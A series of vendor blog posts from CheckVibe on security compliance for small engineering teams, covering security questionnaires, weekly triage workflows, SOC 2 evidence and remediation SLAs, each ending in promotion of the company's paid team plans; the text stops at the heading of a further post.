Published: 2026-08-31 | Reading time: 10 min read
URL: https://checkvibe.dev/blog/security-questionnaire-answers


The first enterprise security questionnaire arrives about a week after the deal starts looking real, it has between 80 and 300 questions, and it is due in five business days.

The instinct is to answer everything "yes" and move on. Do not. Security questionnaires get read by people who compare your answers to your documentation, and a yes you cannot evidence turns a procurement step into a trust problem. The teams that clear these fastest are not the most secure ones — they are the ones who prepared five artefacts in advance and are comfortable writing "no, and here is the compensating control."

## What is actually being asked

Strip the formatting and nearly every questionnaire — SIG Lite, CAIQ, a bank's bespoke spreadsheet, a one-page startup version — is asking the same six things.

**1. Who can reach our data, and how do you know?**
Access control, offboarding, least privilege, and whether anyone reviews the list. The follow-up is always "how often do you review it", and the honest answer for most small teams is "never", which is why this is the first thing to fix.

**2. What happens when you are breached?**
An incident response plan, a notification commitment with a number of hours in it, and who the contact is. Buyers care less about your plan being sophisticated than about it existing and having a name attached.

**3. How do you find and fix vulnerabilities?**
What you scan, how often, and your remediation windows by severity. Increasingly they ask for the *numbers*, not the policy — your on-time closure rate. See [remediation SLAs](/blog/vulnerability-remediation-sla).

**4. How does code get to production?**
Review requirements, branch protection, separation of environments, whether anyone can push straight to main.

**5. Where does the data live and who else touches it?**
Hosting regions, encryption at rest and in transit, your subprocessor list, and your data processing agreement.

**6. Do you have a certification?**
SOC 2 Type II, ISO 27001, or a credible date by which you will. This one question routes the rest: a valid report often collapses a 250-question spreadsheet into "please send the report."

## The five artefacts to prepare before the first one arrives

Build these once and most questionnaires become an afternoon rather than a week.

**A trust page.** One public URL listing hosting, subprocessors, encryption, certifications and status. Half of what a buyer asks is already public information about your stack — let them self-serve it. This also gets read by the *next* buyer, who never files a ticket at all.

**A subprocessor list with a change policy.** Every third party that touches customer data, what they process, and where. Keep it in version control so its history is the evidence for "how do you notify us of changes."

**A four-document policy set.** Information security, access control, vulnerability management (with the severity table in it), incident response. Two pages each. The set answers perhaps 40% of a typical questionnaire on its own.

**A current access list.** Every human with production access, per system — including the ones nobody thinks of as production: the error tracker, the analytics tool, the CI provider, the DNS registrar.

**A dated vulnerability record.** For a sample of findings: when detected, who owned it, when closed. Not a screenshot of a dashboard — a record with dates in it. This is the artefact almost nobody has, and the one that turns a soft "yes we scan regularly" into something a reviewer can verify.

## How to answer "no"

Most questionnaires have a comment field next to every question. It exists precisely so you can answer honestly, and reviewers read it.

The structure that works: **no, here is what we do instead, here is when that changes.**

> **Do you enforce SSO with SAML for all workforce applications?**
>
> No. We are a seven-person team on Google Workspace with mandatory 2FA and hardware keys for anyone with production access. Application access is provisioned individually and reviewed quarterly; the current list is maintained in version control. SAML SSO is on our roadmap for Q2 2027, driven by headcount rather than by this review.

That answer will pass at most companies. "Yes" — from a seven-person team that plainly does not run an identity provider — will not, because the reviewer's next question is for evidence.

Two rules:

**Never claim a certification you do not hold.** "SOC 2 compliant" means nothing; "SOC 2 Type II report, observation window January–June 2026, available under NDA" means something. Reviewers know the difference and treat the first as a warning sign.

**Never claim a control you cannot evidence.** If a question asks whether you scan for vulnerabilities and you cannot produce dated detection and closure records, the honest answer is what you actually do and when it started.

## The eight questions that most often stall a small vendor

From what small teams get stuck on, roughly in order:

| Question | The realistic answer |
| --- | --- |
| Do you have SOC 2 Type II? | If not: name the target window and what you have already collected. A credible date beats a vague yes |
| Do you perform annual penetration testing? | Most small teams do not. Say so, and describe continuous automated scanning plus your remediation windows as the compensating control |
| Do you enforce SSO/SAML? | Usually no below ~20 people. Describe 2FA enforcement, hardware keys for production access, and quarterly reviews |
| Do you have a documented incident response plan? | Write it — two pages. There is no acceptable substitute and it is a day of work |
| What is your breach notification timeline? | Commit to a number. 72 hours is the common contractual standard; do not promise 24 unless you have on-call |
| Do you encrypt data at rest? | Almost certainly yes via your database provider. Name the provider and the mechanism rather than just ticking the box |
| Do you maintain an audit log of administrative actions? | Say whether it is append-only. A log an admin can edit is a log a reviewer will discount |
| Do you review access quarterly? | If you have never done one, do one this week, then answer yes with a date |

## Turn the answers into a reusable answer bank

The compounding move is to keep every answer you have ever written, keyed by the question's meaning rather than its wording. The same six themes come back phrased forty different ways; a bank of 60–80 canonical answers covers most of a new 200-question spreadsheet by search-and-adapt.

Two disciplines keep it from rotting:

- **Date every answer.** An answer written eighteen months ago about a team that has doubled is a liability, not a shortcut.
- **Attach the evidence path.** Next to each answer, where the proof lives. When a reviewer asks — and on the questions that matter they will — you are not re-deriving it under time pressure.

## Where a scanner genuinely helps, and where it does not

Being precise, because the honest scope here is narrower than most vendors imply.

**It helps with:** the vulnerability-management questions, which are the ones where reviewers increasingly ask for numbers rather than prose. Dated detection and closure records, remediation windows by severity, an on-time rate you can state. Also the "do you monitor your external attack surface" family — TLS configuration, security headers, exposed credentials, publicly readable data stores.

**It does not help with:** access reviews, incident response, HR controls, vendor management, business continuity, or your risk register. Those are writing and process. Any tool implying otherwise is selling you a checklist with a logo on it.

For the part it does cover, what CheckVibe gives a team is the record rather than the dashboard: SLA policies with due dates materialised at first detection, shared triage with assignment and an activity trail, and an append-only audit log the database refuses to update — 180 days on Team Basic, a year on Team Advanced. Team Advanced adds SOC 2 and ISO 27001 evidence reporting, with reports frozen and hashed at generation, and controls it cannot evidence marked as unsupported rather than quietly omitted.

Team plans start at $25 per seat per month with a five-seat minimum. [The pricing page](/pricing) has the split, and [SOC 2 evidence for small teams](/blog/soc-2-evidence-for-small-teams) covers what an auditor asks for in more detail.

## Frequently Asked Questions

### How long does a security questionnaire take to complete?

The first one takes three to five working days for a small team, because you are writing the policies as you go. With a trust page, a four-document policy set, an access list and an answer bank prepared, subsequent ones take two to four hours. That gap is the entire argument for preparing the artefacts before a deal depends on them.

### Can you answer "no" to a security questionnaire question?

Yes, and it is usually the right move when it is true. Use the comment field: no, here is the compensating control we run instead, here is what would change that. A documented no with a real alternative passes review at most companies; an unevidenced yes fails it, because the reviewer's next step is to ask for proof.

### Do you need SOC 2 to sell to enterprises?

Not always, but it shortens everything. Without a report you get the long questionnaire and a security review call; with one, many buyers accept the report plus a short supplemental set. Below roughly $50k annual contract value, buyers are often willing to accept a credible target date and a strong questionnaire. Above it, the report usually becomes a hard requirement.

### What is the difference between SIG and CAIQ?

SIG (Standardized Information Gathering) is a Shared Assessments questionnaire, widely used in financial services, with a shorter SIG Lite variant. CAIQ (Consensus Assessments Initiative Questionnaire) comes from the Cloud Security Alliance and maps to their Cloud Controls Matrix; a completed CAIQ can be published to the CSA STAR registry. Both ask the same underlying six things, so an answer bank organised by theme serves either.

### What should a trust page contain?

Hosting provider and regions, encryption at rest and in transit, your subprocessor list, certifications and their status, your security contact and disclosure policy, and a link to a live status page. Keep it public and current. It answers a meaningful share of most questionnaires before anyone files one, and the buyers who read it and never ask are the point.

### How do you answer questions about penetration testing when you have never had one?

State it plainly, then describe what you do instead: continuous automated scanning of the deployed application with a stated frequency, remediation windows by severity, and your on-time closure rate. Add whether a pen test is planned and when. Reviewers accept compensating controls far more readily than they accept a yes that unravels when they ask for the report.

---

*The vulnerability-management section of a questionnaire is the one you can answer with a number. CheckVibe records detection and closure dates, SLA windows and an append-only audit trail on both team tiers. [See what teams get](/pricing), or [scan your app free](https://checkvibe.dev).*


---

## A Security Triage Workflow for Teams Without a Security Engineer

*How a small team turns a scanner's output into owned, deadlined work: who triages, what gets closed on sight, and the queue design that stops backlogs.*

Published: 2026-08-31 | Reading time: 10 min read
URL: https://checkvibe.dev/blog/security-triage-workflow-for-teams


Nobody abandons a security backlog on purpose. It happens because the queue has no owner, every item looks equally urgent, and there is nowhere to put "we are not fixing this."

Fix those three things and triage takes twenty minutes a week. Leave them and you get the familiar shape: a dashboard with a four-figure number on it that everyone has agreed not to look at.

This is a workflow for a team of three to fifteen engineers with no dedicated security person.

## Rotate one triage owner per week

Not a committee, not "whoever notices". One name, one week, in a rotation everyone takes a turn in.

The rotation matters more than the role. A permanent security owner on a small team becomes a bottleneck, then a single point of knowledge, then a leaver. A rotation spreads the context, and — this is the underrated part — it makes everyone briefly responsible for the noise they would otherwise ignore, which is the fastest route to tuning the scanner properly.

The triage owner's job is not to fix anything. It is to make sure every new finding leaves the queue in one of four states within the week:

- **Assigned**, with a name and a deadline.
- **Excepted**, with a reason, an approver and a review date.
- **Duplicate** of something already tracked.
- **False positive**, with the rule tuned so it does not come back.

That last state is the one teams skip, and it is why queues grow. Closing a false positive without changing the rule guarantees you will triage the same thing next month.

## Sort by exposure first, severity second

Severity alone is a bad sort order for a small team, because it answers "how bad if exploited" and ignores "how reachable is it."

Sort on two axes:

| | Publicly reachable | Behind auth | Internal only |
| --- | --- | --- | --- |
| **Critical / High** | Today | This week | This sprint |
| **Medium** | This week | This sprint | Backlog |
| **Low** | This sprint | Backlog | Close or except |

A medium-severity issue on an unauthenticated production endpoint outranks a high-severity one behind an admin login four people hold. Every experienced responder does this intuitively; writing it down is what lets a rotating owner do it without the experience.

Two findings jump the table entirely:

- **A live exposed credential.** Rotate now, measured in hours. Not a queue item.
- **Publicly readable customer data.** A database table answering to the public key, a storage bucket listing, an unauthenticated endpoint returning records. Same urgency.

## Give every finding one of five states

More states than these and the board becomes an argument about process.

1. **New** — seen, not yet decided. The triage owner's inbox.
2. **Accepted** — real, has an owner, has a deadline.
3. **Excepted** — real, deliberately not scheduled. Reason, approver, review date.
4. **Fixed** — remediated and confirmed gone by a subsequent scan.
5. **Not applicable** — false positive, with the rule tuned.

The distinction that carries weight is **Excepted** versus overdue. A queue with fifteen documented exceptions and zero undocumented overdue items is a functioning process. A queue with zero exceptions and forty overdue items is the same team, worse informed — and it is the version that produces audit findings, because the overdue count has stopped meaning anything and nobody reads it.

An exception needs four fields: why, who approved, when, and when it is reviewed again. Always a date, never "indefinitely". A quarterly pass over expired exceptions takes ten minutes and stops the exception list becoming its own graveyard.

## Where the queue should live

Findings belong where the work already is. If your team plans in Linear and triages security in a separate dashboard, one of the two will be abandoned within a month, and it will be the one that is not attached to anyone's sprint.

Two ways to do that honestly:

**Sync to the tracker.** Findings become issues in Jira or Linear, statuses flow both ways, and closing the issue closes the finding. The detail that decides whether this works: map on the status *category* — to do, in progress, done — never on the status name, because names are per-project free text and two teams in the same company will not match. Also give the sync an echo guard, or your own push comes back as a foreign change and the two systems fight.

**Keep one queue and link out.** Triage in the security tool, link the tracker issue on the finding, and let the deadline live in one place. Simpler, and better if only a subset of findings ever become sprint work.

What does not work is maintaining both by hand. One of them is always lying, and it is usually the one you would show a buyer.

## Start the clock at detection

The measurement that decides whether any of this is real: **the deadline runs from when the finding was first detected, not from when someone triaged it.**

If triage starts the clock, a week of ignoring the queue is free, and your on-time rate measures your triage habits rather than your remediation. Materialise the due date on first sight and never recompute it — a deadline that moves when you edit the policy silently rewrites every number you have already reported. [Remediation SLAs](/blog/vulnerability-remediation-sla) goes through the mechanics.

## The weekly twenty minutes

A shape that survives a busy sprint:

1. **New findings since last week** (10 min). Each one leaves as assigned, excepted, duplicate or false positive.
2. **Overdue, excluding exceptions** (5 min). Two questions per item: is it still real, and does it need a different owner.
3. **Exceptions past their review date** (3 min). Renew with a new date, or move to accepted.
4. **Reopens** (2 min). Findings marked fixed that came back. A high reopen rate means "fixed" is being used to mean "closed the ticket", which is worth catching early.

Then post the four numbers where the team sees them: on-time closure rate by severity, median time to remediate, count overdue excluding exceptions, and mean time to triage. That last one is the leading indicator — when it climbs, breaches follow.

## Cut the noise before you scale the process

A team drowning in triage usually has a tuning problem, not a capacity problem. Before adding process:

- **Turn off rules that have never produced a real finding.** Ruthlessly. A rule with a 100% false-positive rate over three months is not conservative, it is a tax.
- **Deduplicate by fingerprint, not by title.** Findings whose identity includes a version number produce a fresh row on every patch bump, and a single misconfiguration across forty crawled pages should be one item, not forty.
- **Separate the deployed-app queue from the repository queue.** They have different owners, different fix shapes and different cadences.
- **Route pre-existing findings out of pull requests.** A PR bot commenting on the repository's history rather than the branch's diff teaches everyone to scroll past it. See [security review in pull requests](/blog/pull-request-security-review).

## What CheckVibe provides

For the parts of this that are product rather than process:

- **Shared triage** on both team tiers — assignment, comments and an activity trail, with every row resolving through the account rather than the acting user. (An early version of ours got this wrong in an instructive way: rows were keyed to whoever was looking, so a five-seat team had five private queues that each looked empty to everyone else.)
- **`client_viewer`** as a read-only seat, for a stakeholder who should see the queue and change nothing in it.
- **SLA policies** with due dates materialised at first detection and never recomputed.
- **Slack, Microsoft Teams and signed webhooks** for assignment and breach alerts, addressed to a person rather than a room.
- **Two-way Jira and Linear sync** on Team Advanced, mapping on status category with an echo guard.
- **An append-only audit log** the database refuses to update — 180 days on Team Basic, a year on Team Advanced.

Team plans start at $25 per seat per month with a five-seat minimum. [The pricing page](/pricing) has the full split.

## Frequently Asked Questions

### Who should triage security findings on a team with no security engineer?

A rotating weekly owner, one engineer at a time, taken from the whole team. A permanent owner on a small team becomes a bottleneck and then a single point of knowledge; a rotation spreads context and makes everyone briefly responsible for the noise they would otherwise ignore, which is what gets the scanner tuned. The owner decides and assigns — they do not do the fixing.

### How do you stop a security backlog from growing?

Three things, in order: give the queue one named owner per week, sort by exposure before severity so the list has a real top, and provide a documented exception path so items you have deliberately chosen not to fix leave the overdue count. Backlogs grow when every item looks equally urgent and there is nowhere to record a decision not to act.

### Should security findings live in Jira or in a separate tool?

Wherever the team already plans, or synced to it. A separate dashboard that is not attached to anyone's sprint gets abandoned inside a month. If you sync, map on the status category — to do, in progress, done — rather than the status name, because names are per-project free text, and add an echo guard so your own writes do not come back as foreign changes.

### What is the difference between an exception and an overdue finding?

An exception is a recorded decision — why it is accepted, who approved it, when, and when it gets reviewed again. An overdue finding is an absence of a decision. Auditors and enterprise buyers read a queue with documented exceptions and no undocumented overdue items as a working process; the reverse pattern is what generates findings, because the overdue count has stopped carrying information.

### How often should a small team triage security findings?

Weekly, for about twenty minutes: new findings, overdue items excluding exceptions, exceptions past their review date, and reopens. Daily is unnecessary for anything except live exposed credentials and publicly readable customer data, which should page immediately rather than wait for a queue. Monthly is too slow — the backlog gets large enough between sessions that triage stops feeling finishable.

### What does a high reopen rate mean?

That findings are being closed rather than fixed. If a subsequent scan finds the same issue again, either the fix did not address the cause, it was reverted, or someone marked it done to clear the board. Track it as its own number: it is the cheapest available check on whether your remediation metrics describe reality.

---

*CheckVibe gives a team one shared queue with assignment, SLA deadlines from first detection, and an append-only audit trail. [See what teams get](/pricing), or [run a free scan](https://checkvibe.dev) to see what would land in it today.*


---

## SOC 2 Evidence for Small Engineering Teams: What Auditors Actually Ask For

*What a SOC 2 auditor actually asks a five-person engineering team for, which controls you can evidence automatically, and which ones need a human.*

Published: 2026-08-31 | Reading time: 11 min read
URL: https://checkvibe.dev/blog/soc-2-evidence-for-small-teams


A SOC 2 auditor does not want your security tooling. They want proof that a control operated, continuously, over a window of time — and the proof has to be dated, attributable, and impossible to have edited after the fact.

That single sentence is the whole difference between "we are secure" and "we passed SOC 2". Most small engineering teams have the first and none of the second, and they discover the gap about four weeks into a Type II observation window, when someone asks them to produce evidence for a period that has already ended.

This is what auditors ask for, what you can evidence automatically, and what still needs a person.

## Type I vs Type II: the distinction that decides your workload

- **SOC 2 Type I** is a point-in-time report. It says a control was *designed* correctly on one date. You can get one in weeks, and it is worth roughly what that sounds like to a buyer who has read a few.
- **SOC 2 Type II** covers an *observation window*, typically 3 to 12 months, and says the control actually *operated* throughout it. This is the one enterprise procurement asks for.

The practical consequence: Type II evidence cannot be manufactured at the end. If your window starts in January and you begin collecting in October, you have a nine-month hole nothing will fill. Start the collection *before* the window, not during it.

## The five evidence categories a small team gets asked about

Every framework has its own control numbering, and every auditor has their own request list. Underneath, small engineering teams get asked for the same five things.

### 1. Vulnerability management

The request sounds like: *"Show us that identified vulnerabilities are tracked to resolution within defined timeframes."*

What satisfies it:

- A written policy that states the remediation deadline per severity (critical in N days, high in N days, and so on).
- A record showing, for a sample of findings in the window, when each was **first detected**, when it was triaged, who owned it, and when it was closed.
- Evidence that the deadline came from the policy and was not backfilled.

The detail that trips teams up is *first detected*. Auditors sample findings and check the clock started when the issue became known, not when someone got around to triaging it. If your tracker records "created" as the day an engineer manually filed a ticket, every SLA in your report is measured from a date you chose. That is the finding.

We wrote up how to define those windows in [vulnerability remediation SLAs](/blog/vulnerability-remediation-sla).

### 2. Change management

The request: *"Show us that code changes are reviewed and approved before reaching production."*

For most small teams this is the easiest one, because GitHub or GitLab already keeps it: branch protection requiring a review, the PR record itself, and the merge commit. What auditors add is *evidence the rule could not be bypassed* — so export the branch protection settings, not just the PRs. A screenshot of a setting on the day of the audit does not prove it was on in March.

If you can also show that security review happened *inside* the PR rather than in a separate quarterly sweep, this control and the vulnerability-management one start sharing evidence. See [security review in pull requests](/blog/pull-request-security-review).

### 3. Access management

The request: *"Show us who had access to production, that access was authorised, and that it was removed on offboarding."*

Evidence:

- A current list of every human with production access, per system.
- A dated record of each grant and each revocation in the window.
- Proof of a periodic review — usually quarterly — where someone looked at the list and confirmed it.

Small teams fail this one on offboarding, and on the systems nobody thinks of as production: the error tracker, the analytics tool, the CI provider, the DNS registrar. Write the list once. Keep it in version control so its history *is* the evidence.

### 4. Monitoring and alerting

The request: *"Show us that you would detect a security-relevant event, and that someone responded."*

Evidence: alert configuration, plus a sample of actual alerts and what happened next. An empty incident log is not automatically good news — auditors read it as "no detection" as easily as "no incidents". A handful of real alerts, triaged and closed with a note, is stronger evidence than silence.

### 5. Audit trail

The request: *"Show us a record of security-relevant administrative actions, and that the record cannot be altered."*

This one is binary. Either your system writes an append-only log or it does not. A table an admin can `UPDATE` is not an audit trail, and an auditor who asks the right question will find that out.

## What can be evidenced automatically, and what cannot

Here is the honest split. Roughly half of a small team's SOC 2 evidence can come out of tooling. The rest is writing, and no product removes that.

| Control area | Automatable | Needs a human |
| --- | --- | --- |
| Vulnerability management | Detection dates, severity, owner, closure dates, SLA breaches | The policy that defines the deadlines |
| Change management | PR records, review approvals, branch protection export | The written change policy and exception process |
| Access management | Current access lists, grant and revoke events | Authorisation records, quarterly review sign-off |
| Monitoring | Alert config, alert history, response timestamps | The incident response plan and post-incident notes |
| Audit trail | The log itself | Retention policy, who may read it |
| Risk assessment | Nothing | All of it — the register, the ratings, the decisions |
| Vendor management | Nothing | The vendor list, reviews, and DPAs |
| HR controls | Nothing | Background checks, security training records, policy acknowledgements |

The bottom three rows are why "compliance automation" platforms cost what they cost: they are mostly a document workflow with a checklist attached. If you have a five-person team, you can write those documents yourself in a week. What you cannot do yourself, cheaply, is reconstruct nine months of detection and remediation dates you never recorded.

**So the priority is obvious: start recording the dated, machine-generated evidence today. Write the policies later — you can always write a policy retroactively, and you can never backfill a timestamp honestly.**

## Freeze your evidence, or it is not evidence

An evidence report that regenerates from live data every time you open it is a dashboard, not evidence. When an auditor asks for the vulnerability report covering March, and the report re-queries today's database, you have handed them something that will look different tomorrow.

What a defensible report looks like:

1. **Generated for a fixed window** and stored as generated — not recomputed on view.
2. **Hashed.** A SHA-256 of the report content, recorded at generation time, so both sides can prove the file was not edited afterwards.
3. **Attributable.** Who generated it, and when.
4. **Honest about gaps.** A control catalogue that silently omits what it cannot evidence is worse than useless; it teaches you the gap does not exist until an auditor finds it.

That last point matters more than it sounds. When we built compliance reporting at CheckVibe, the catalogue explicitly marks controls it *cannot* evidence as unsupported rather than quietly dropping them. Knowing that four of your controls have no automated evidence is the useful output. A green checkmark you did not earn is a liability you will discover in the audit.

## A 30-day starting plan for a five-person team

**Week 1 — stop the bleeding.**
Turn on whatever records dates. Get a scanner running on a schedule so findings have a first-detected timestamp. Turn on your provider's audit log. Export your current access list to a repo.

**Week 2 — write the four documents that unblock everything.**
An information security policy, an access control policy, a vulnerability management policy with the SLA table in it, and an incident response plan. Two pages each. They will be imperfect. Imperfect and dated beats perfect and absent.

**Week 3 — close the change-management loop.**
Branch protection on, reviews required, security checks running in the PR rather than on a quarterly cadence. Export the settings.

**Week 4 — pick the window and dry-run it.**
Choose the Type II observation window start date. Generate every report you would hand an auditor, for the previous month, as a rehearsal. You will find the holes now, when they cost a week, rather than in month nine.

## What this looks like in CheckVibe

To be precise about what is and is not covered, because vague compliance claims are exactly the problem:

- **Both team tiers** carry shared triage with assignment and an activity trail, SLA policies with due dates materialised at first detection, notification destinations (Slack, Microsoft Teams, signed webhooks), and an append-only audit log enforced at the database level — the write is refused even by the service role, and the only deletion path refuses anything inside 30 days.
- **Team Advanced** adds two-way Jira and Linear sync, and SOC 2 / ISO 27001 evidence reporting: frozen reports with a SHA-256 over the content, exported as HTML, with unevidenceable controls marked as such. Audit retention runs a full year on Advanced, matching a 12-month Type II observation window.

Team plans start at $25 per seat per month with a five-seat minimum; the compliance reporting sits on Team Advanced at $50 per seat. [The pricing page](/pricing) has the full split.

None of that writes your risk register, your vendor reviews, or your training records. Nothing does.

## Frequently Asked Questions

### How long does SOC 2 take for a five-person team?

Type I is realistically 6 to 10 weeks from a standing start, most of which is writing policies and closing obvious gaps. Type II adds the observation window itself — a minimum of three months, though enterprise buyers increasingly ask for six or twelve. The window is wall-clock time you cannot compress, which is why the date you start *collecting evidence* matters more than the date you start the project.

### Do I need a compliance platform for SOC 2?

No, but you need somewhere the dated evidence lands. A five-person team can maintain the policy documents in a repository and pull evidence from the tools it already runs. Compliance platforms mostly sell the document workflow plus integrations that collect the same evidence; they are worth it when the coordination cost exceeds the licence cost, which usually happens somewhere north of 20 engineers.

### What is the difference between SOC 2 and ISO 27001?

SOC 2 is an attestation report from a US CPA firm against the AICPA Trust Services Criteria; you receive a report describing your controls and the auditor's opinion. ISO 27001 is an international certification against a standard, focused on having an information security management system. The underlying evidence overlaps heavily — access reviews, vulnerability management, change control — so teams that do one can usually reach the other without starting over.

### Can a vulnerability scanner satisfy SOC 2 on its own?

No. A scanner produces detection evidence, which covers part of one control area. SOC 2 asks about access management, change management, incident response, risk assessment, vendor management and HR controls as well. What a scanner can do — and what nothing else does as well — is prove *when* something was found, which is the timestamp every remediation SLA in your report is measured from.

### What does an auditor mean by "operating effectiveness"?

That the control did its job throughout the window, not that it existed. For vulnerability management, design effectiveness is having a policy that says criticals get fixed in seven days. Operating effectiveness is a sample of actual critical findings from the window, each showing detection, ownership and closure inside seven days — or a documented exception explaining why not.

### Is an exception the same as a failure?

No, and teams over-correct on this. A documented risk exception — this finding is accepted, here is why, here is who approved it, here is the review date — is a functioning control. An undocumented overdue finding is a failure. Auditors are looking for a process that handles reality, not for a report with no red in it.

---

*Running a team on CheckVibe? Shared triage, SLA policies and an append-only audit log ship on both team tiers, with SOC 2 and ISO 27001 evidence reporting on Team Advanced. [See what teams get](/pricing), or [scan your app free](https://checkvibe.dev) to see what a first evidence run would find.*


---

## Vulnerability Remediation SLAs: Setting Deadlines a Small Team Can Actually Hit

*How to set remediation deadlines by severity, when the clock should start, and why measuring from triage instead of detection inflates every number.*

Published: 2026-08-31 | Reading time: 10 min read
URL: https://checkvibe.dev/blog/vulnerability-remediation-sla


A remediation SLA is two decisions: how long each severity gets, and when the clock starts. Teams argue endlessly about the first and get the second wrong, which is what actually breaks the numbers.

If the clock starts when someone triages a finding, then a team that ignores its queue for three weeks reports the same on-time percentage as a team that fixes everything the day it appears. The metric measures your triage habits, not your remediation. Auditors know this, buyers' security questionnaires increasingly ask about it, and it is the first thing worth fixing.

## Start the clock at first detection, not at triage

**The clock starts the moment the finding became knowable to you.** For a scanner, that is the scan that first surfaced it. For a dependency advisory, the moment the advisory matched your lockfile. For a report from outside, the moment it arrived in your inbox.

Three consequences follow, and all three are the point:

1. **Ignoring the queue costs you.** Time spent not looking at a finding is time on the clock. That is the incentive you want.
2. **Your numbers become comparable** between quarters, and between you and the SLA you promised a customer.
3. **The date is machine-generated**, so it survives an auditor asking where it came from.

The counter-argument is real: a team returning from a long backlog will breach a lot of SLAs at once. That is not a reason to move the clock. It is a reason to declare a starting baseline — everything open on the day the policy takes effect gets a one-time exception with an agreed catch-up date — and to measure honestly from there.

## Materialise the due date; never recompute it

The second implementation detail that decides whether your history is worth anything: **write the due date to the row the first time you see the finding, and never derive it again.**

If the due date is computed on read from the current policy, then editing the policy rewrites history. Loosen "critical" from 7 days to 14 and every past breach silently becomes compliant. Every report you already sent a customer is now inconsistent with the system that produced it. This is not hypothetical — it is the default behaviour of most homegrown trackers, because computing on read is the obvious way to write it.

Materialising the deadline means a policy change applies to findings discovered *after* the change, which is also the only version an auditor will accept.

## A severity table that survives contact with a five-person team

Published frameworks tend to assume a security function exists. These are the windows small engineering teams actually hit, and the reasoning behind each.

| Severity | Remediate within | Why this number |
| --- | --- | --- |
| Critical | 7 days | Exploitable remotely with no auth, or an exposed live credential. This is a drop-everything item; a week is generous and exists only so a weekend does not breach it |
| High | 30 days | Real impact but needs a precondition — a valid session, a specific configuration. Fits inside one sprint plus one carry-over |
| Medium | 90 days | Worth fixing, defensible to schedule. A quarter is long enough to batch into planned work |
| Low | Best effort, reviewed quarterly | Setting a deadline you will miss on purpose teaches the team the whole table is decorative |
| Informational | No deadline | Track it, do not schedule it |

Two rules make this table work in practice:

**Exposed credentials get their own row, outside the severity ladder.** A live API key in a client bundle is not "critical, 7 days" — it is *rotate now*. Detection to rotation should be hours. Keep it as its own class or your critical bucket fills with things that are urgent in genuinely different ways.

**Publicly-reachable beats theoretically-severe.** A medium-severity issue on an unauthenticated production endpoint deserves attention before a high-severity one behind an admin login used by four people. If your tracker cannot express that, add an "exposure" field and sort on both.

## Exceptions are a feature, not a failure

The single biggest reason SLA programmes collapse is that there is nowhere to put "we are not fixing this, and that is fine."

Some findings genuinely should not be fixed on schedule: a dependency CVE in a code path you do not call, a header missing on an endpoint that serves one static file, a finding whose fix costs a fortnight and whose impact is a paragraph. Without a documented exception path, those items sit permanently overdue, the overdue count becomes noise, and the team stops reading it.

A usable exception needs four fields and no more:

- **Why** it is accepted, in one sentence a non-engineer can follow.
- **Who** approved it.
- **When** it was approved.
- **When it gets reviewed again** — always a date, never "indefinitely".

An auditor reading a report with twelve documented exceptions and zero undocumented overdue items sees a working process. A report with zero exceptions and forty overdue items is the one that generates findings.

## The four numbers worth reporting

Most vulnerability dashboards report open counts, which mostly tell you how loud your scanner is. These four tell you whether the process works:

1. **On-time closure rate, by severity.** The percentage of findings closed inside their materialised deadline. Split by severity or the critical signal drowns in low-severity volume.
2. **Median time to remediate, by severity.** Median rather than mean — one nine-month straggler should not swing the number.
3. **Currently overdue, excluding documented exceptions.** The single number for a weekly standup.
4. **Mean time to triage.** Detection to first human decision. If this is climbing while closure rate holds, you are about to breach in volume, and this is the leading indicator.

A fifth, if you can get it: **reopen rate**. Findings marked fixed that the next scan finds again. A high reopen rate means "fixed" is being used to mean "closed the ticket."

## Wiring it into the work, not beside it

An SLA nobody sees is an SLA nobody hits. Three integration points, in order of impact:

**Into the tracker.** Findings should arrive in Jira or Linear where the work already is, with the due date on the issue, and status should sync both ways. If closing the Jira issue does not close the finding, someone is maintaining two systems and one of them is lying. (Two-way sync needs care: map on the status *category* — to do, in progress, done — never on the status name, because those are per-project free text and will differ across two teams in the same company.)

**Into the pull request.** The cheapest possible remediation is the one that happens before merge, where the author still has the context. A finding raised in review never enters the SLA queue at all. See [security review in pull requests](/blog/pull-request-security-review).

**Into a channel with a name on it.** Breaching alerts to Slack or Teams, addressed to the assignee rather than to a room. "Someone should look at this" reliably means nobody will.

## What CheckVibe does with this

Because a post about honest measurement should be specific about its own product:

- **SLA policies** on both team tiers. Due dates are **materialised at first detection** and never recomputed, exactly for the reason in the second section — a deadline that moves when the policy is edited invalidates every historical number.
- **The clock starts when we first saw it**, not when someone triaged it, so ignoring the queue cannot reset a deadline.
- **Shared triage** with assignment, comments and an activity trail, so the answer to "who owns this" is a name, not a guess.
- **Slack, Microsoft Teams and signed webhook** destinations for breach and status alerts.
- **Two-way Jira and Linear sync** on Team Advanced, mapping on status category rather than status name.
- **An append-only audit log** — 180 days on Team Basic, a year on Team Advanced — that the database refuses to update, so the remediation history holds up when someone asks where the dates came from.

Team plans are $25 per seat per month, minimum five seats, with Jira/Linear sync and compliance reporting on Team Advanced at $50. Details on [the pricing page](/pricing).

## Frequently Asked Questions

### When should the remediation clock start?

At first detection — the scan, advisory match, or report that first made the finding knowable — not at triage and not at ticket creation. Starting at triage means a team that ignores its backlog reports the same on-time rate as one that fixes everything immediately, because the delay happens before the clock starts. Detection is also machine-generated, which is what makes it defensible in an audit.

### What are reasonable remediation SLAs for a small team?

Seven days for critical, 30 for high, 90 for medium, best-effort with a quarterly review for low, and no deadline for informational. Keep exposed credentials outside the ladder entirely, measured in hours to rotation. These windows are achievable for a five-person team without a dedicated security engineer, which matters more than matching a stricter published standard you will miss every month.

### Should the due date be stored or calculated?

Stored, written once when the finding is first seen. A due date calculated from the current policy on every read means editing the policy silently rewrites your entire remediation history — past breaches become compliant, and every report you already sent disagrees with the system. Materialising it means policy changes apply going forward only, which is the only interpretation an auditor accepts.

### How do you handle findings you have decided not to fix?

Record an exception with four fields: the reason, the approver, the approval date, and a review date. Never "indefinitely". A documented exception is a functioning control; an undocumented finding sitting permanently overdue is a failure, and worse, it makes the overdue count meaningless so the team stops reading it.

### What is a good on-time closure rate?

Above 90% for critical and high, measured from detection, is a healthy programme for a small team. The absolute number matters less than the trend and the split: 95% overall can hide 60% on criticals if low-severity volume dominates. Always report by severity, and always alongside the count of undocumented overdue items.

### Do vulnerability SLAs matter outside compliance?

Yes — they are increasingly a line item in enterprise security questionnaires and in the security addendum of B2B contracts. Buyers ask for your severity table and your on-time rate. A team that can answer with a number from a system, rather than a paragraph of reassurance, closes those reviews measurably faster.

---

*CheckVibe ships SLA policies with due dates materialised at first detection, shared triage, and an append-only audit log on both team tiers. [See what teams get](/pricing), or [run a free scan](https://checkvibe.dev) to see what would land in the queue today.*


---

## How to Tell If a Website Is Vibe Coded: 7 Signals to Check

